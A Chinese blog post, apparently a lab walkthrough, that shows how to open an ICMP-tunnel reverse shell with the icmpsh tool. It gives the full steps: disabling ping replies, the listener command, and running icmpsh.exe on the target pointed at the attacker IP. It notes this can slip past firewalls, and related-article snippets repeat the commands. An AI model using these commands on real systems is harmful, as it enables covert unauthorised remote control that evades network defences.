shell 截取ip地址最后一位_利用icmpsh建立icmp隧道反弹shell

最新推荐文章于 2022-01-20 11:00:57 发布
最新推荐文章于 2022-01-20 11:00:57 发布
阅读量139 收藏
点赞数
文章标签： shell 截取ip地址最后一位
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_30128407/article/details/112153936
版权

首先在kali上安装icmpsh软件，软件地址https://github.com/inquisb/icmpsh.git

我们可以直接用git克隆过来git clone https://github.com/inquisb/icmpsh.git

bdb08a4a60e5537e375fb5816d617442.png

然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问

pip2 install impacket

dbdedff9446942a8a11caf24a27f9377.png

接下来我们还需要关闭我们之前的ping命令应答程序，这样可以防止内核自己对ping包进行响应。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

实验完成后开启系统ping的话将最后的1改为0即可

6e0069b984ce3fb3560578d566451ed3.png

然后可以在kali上开始监听

python icmpsh_m.py 本机ip 目标ip

79ed438989e38aefd7949e5d08d47c5c.png

再把icmpsh.exe传输到靶机上

a49bbf59c8ad640cd7ac06806ad609fa.png

ee143a83fcf4da984fabcbf318875e60.png

icmpsh.exe -t 192.168.110.140   -t后面接上攻击机的ip地址   回车

507baadff1566604a56015176a09bc80.png

接收到shell。由于数据是利用PING请求/回复报文通过网络层传输，因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的，因此这种方式可能绕过一些防火墙规则。

【重要提示】因为公众号改了推送规则，一些小伙伴反映有时收不到文章更新，不想错过的小伙伴可以这样：1、星标：点击公众号头像右上角的小人-然后点击点击右上角的“…”-设为星标。2、分享、赞、在看：在每篇文章下方点亮“分享”、“赞”、“在看”，只有多点，微信才会判定你喜欢这个号，才会给你推送。3、常读：只有多看公众号的文章，微信才会判定你喜欢，文章更新时才会出现在你公众号列表的顶部。

同哥Same
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
shell_ip_orangewgz_linux_shell_shell编程_shell脚本_
10-02
利用shell编程编写的判断IP地址是否合法的脚本
linux运shell 出现commond vim_shell入门学习
weixin_39632891的博客
11-21 99
shell学习笔记概念shell是脚本语言，解释型，不需要提前编译。Shell是用户或应用程序与内核沟通的桥梁。第一个脚本创建 first.sh#!/bin/bashecho "Hello World!"运行 sh first.sh 或 ./first.sh#! 是一个约定的标记，它告诉系统这个脚本需要什么解释器来执行，即使用哪一种 Shell。可以使用 #!/bin/env bash 解决不同系...
shell 截取ip地址最后一位_shell脚本：截取ping命令中的IP
weixin_39731845的博客
12-28 928
背景：需要通过shell脚本解析host。不想额外的下载工具，所以选择了ping命令。但是ping命令返回的不仅包含IP信息，所以需要截取字符串。网上的解决方案普遍存在遗留括号的问题，IPV4和IPV6两种情况兼容较差。解决方案：ipv4: ping $host -c1 | grep from | cut -d '(' -f2 | cut -d ')' -f1ipv6: ping6 $host -...
获取本机ip地址的最后段
u013702409的专栏
08-10 1786
package demo; import java.net.InetAddress; import org.apache.commons.lang.StringUtils; /**  * 获取本机ip地址的最后段  * @author shenjie  * @date 2015-8-10  *   * */ public class GetIp { public
Shell 字符串操作（截取、替换、去头、去尾）
卡尔特斯
01-20 9931
一、截取 格式：${变量:起始位置:长度} # 字符串 phone=0123456789 # 从 1 索引位置开始截取，截取到尾部，包含 1 位置 echo ${phone:1} # 输出结果 123456789 # 从 1 索引位置开始截取 6 位，包含 1 位置 echo ${phone:1:6} # 输出结果 123456 # 从 1 索引位置开始截取，截取到倒数第 2 位，不包含倒数第 2 位，这种方式有的解释器不支持，会提示不能小于 0 echo ${phone:1:-2} # 输出结果
icmp协议_利用ICMP(icmpsh)协议反弹Shell 渗透红队笔记
weixin_39872257的博客
12-01 337
渗透攻击红队一个专注于红队攻击的公众号大家好，这里是渗透攻击红队的第 十篇文章，本公众号会记录一些我学习红队攻击的复现笔记(由浅到深)，每周一更。ICMP隧道‍ICMP隧道是一个比较特殊的协议。在一般的通信协议里，如果两台设备要进行通信，肯定要开放端口，而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复，攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下...
Shell脚本实现判断IP地址是否在一个ip段内代码分享
01-10
IP=$1 if [ -z $IP ] then echo -e “\e[31;42m sh ipcalc.sh IP \e[0m exit fi while read MASK do min=`/usr/bin/ipcalc $MASK|awk '/HostMin:/{print $2}'` max=`/usr/bin/ipcalc $MASK|awk '/HostMax:/{print $2...
Shell脚本判断IP地址是否合法的方法
01-20
使用shell校验IP地址合法性 使用方法： 代码如下:[root@yang python]# bash check_ip.sh IP地址执行结果：返回值0校验合法，非0不合法。shell代码： 代码如下:[root@yang python]# vi check_ip.sh #!/usr/bin/...
TCP_IP聊天项目.zip_C语言_TCP/IP_shell_shell编程 soket_tcp聊天器
09-23
在linux的shell下用Soket编程实现聊天的功能，可以添加，删除好友，一个服务器，多个客户端
通过ICMP协议反弹SHELL并执行命令
Fly_鹏程万里
05-23 3621
前言内网中的大多数系统都位于防火墙和企业代理之后，以便控制入口以及出口流量。防火墙可以拦截到反连的shell，但ICMP协议基本上是不拦截的。因此，为了获得shell并在目标主机上执行命令，可以使用ICMP协议作为隐藏通道进行连接。使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他...
icmpsh解决运行报错
weixin_30655219的博客
11-22 540
运行./run.sh报错 sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null python icmpsh_m.py 攻击机ip 目标机ip 目标机运行：icmpsh.exe -t 攻击机ip -d 500 -b 30 -s 128 转载于:https://www.cnblogs.com/websecyw/p/10001...
利用icmpsh建立icmp隧道反弹shell
xj28555的博客
09-25 733
首先在kali上安装icmpsh软件，软件地址https://github.com/inquisb/icmpsh.git 我们可以直接用git克隆过来git clonehttps://github.com/inquisb/icmpsh.git 然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问 pip2 install impacket 接下来我们还需要关闭我们之前的ping命令应答程序，这样可以防止内核自己对ping包进行响应。 sysc.
ICMPSH的学习ICMP反弹shell
来到了学渣的博客
06-04 1345
ICMP隧道 最常见的ping命令就是利用的ICMP协议，使用该协议反弹shell，两台机器不需要开放端口，ICMP隧道简单好用。 实验环境 Kali 192.168.10.144 win7 192.168.10.129 kali安装好icmpsh工具 root@kali:~# git clone https://github.com/inquisb/icmpsh.git 安装icmpsh的依赖包 root@kali:~# apt-get install python-impacket 执行之前最重要
nishangICMP反弹shell攻击日志分析
weixin_44253823的博客
11-08 632
ICMP包一般不被防火墙拦截，使用ICMP协议作为连接容易通过防火墙。 攻击过程复现。 复现环境 win7：192.168.0.73。powershell导入nishang框架。https://blog.csdn.net/weixin_44253823/article/details/102972355 kali：192.168.0.162。安装icmpsh工具。 https://gi...
隐藏通信隧道技术之icmpsh反弹shell（网络层ICMP隧道）
bring_coco的博客
01-05 769
优势：不需要开放端口就能通信 常见ICMP的消息是ping命令，通过ping可以得到一些回复 如果HTTP,DNS正反向端口转发不行时候可以尝试ICMP隧道 建立基础：只要能ping通，可以将TCP/UDP数据封装到数据包中，然后利用ping的数据包来穿透防火墙。 实验环境： 1.虚拟机中进行 （kali作为外网机器，monowall1是分隔内外网的防火墙，win7，win2012是两台内网机器） 2.kali的ip:10.0.78.29 Monowall1的ip:1.1.1.1 Win7的ip:1.1.
浅谈内网工具ICMP的使用以及遇到的坑
markecheng的博客
11-26 1034
内网渗透之隐藏通信隧道ICMP协议以及ICMP工具的使用 ICMP的使用简介 -t host ：要向其发送ping请求的主机ip地址。此选项是必需的！ -r：发送一个包含字符串“Test1234”的测试icmp请求，然后退出。这是用来测试连接的。 -d milliseconds：请求之间的延迟（毫秒） -o milliseconds：毫秒响应超时（毫秒）。如果没有及时收到回复，奴隶将增加一个空白计数器。如果计数器达到某个限制，则从机将退出。如果收到响应，计数器将被设置回0。 -b num ：空白数限制（退出
【渗透测试】ICMP隧道技术之icmpsh使用
SunnyCat
09-28 2061
【渗透测试】ICMP隧道技术之icmpsh使用 一、使用场景 icmp隧道技术多用于服务器未开启任何端口时，但能够通过icmp协议通讯，即能够ping通对方 二、icmpsh icmpsh是一个简单的ICMP反弹shell工具，拥有用C，Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说，icmpsh的优点是在目标机器上运行时不需要管理员权限。 这一工具干净、简单并且便携。受控端（客户端）使用C语言实现。只能运行在目标Windows机器上，而主控端（服务端）
隐藏通信隧道之ICMPSH
帅醉了的博客
03-22 709
内网渗透_建立icmp隧道 -t host ：要向其发送ping请求的主机ip地址。此选项是必需的！ -r：发送一个包含字符串“Test1234”的测试icmp请求，然后退出。这是用来测试连接的。 -d milliseconds：请求之间的延迟（毫秒） -o milliseconds：毫秒响应超时（毫秒）。如果没有及时收到回复，奴隶将增加一个空白计数器。如果计数器达到某个限制，则从机将退出。如果收...
shell怎么截取绝对路径中的最后一层文件名
最新发布
06-08
可以使用`basename`命令来截取绝对路径中的最后一层文件名。该命令的语法如下： ```shell basename path [suffix] ``` 其中，`path`为绝对路径，`suffix`为可选参数，表示要删除的文件名后缀。如果不指定`suffix`...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值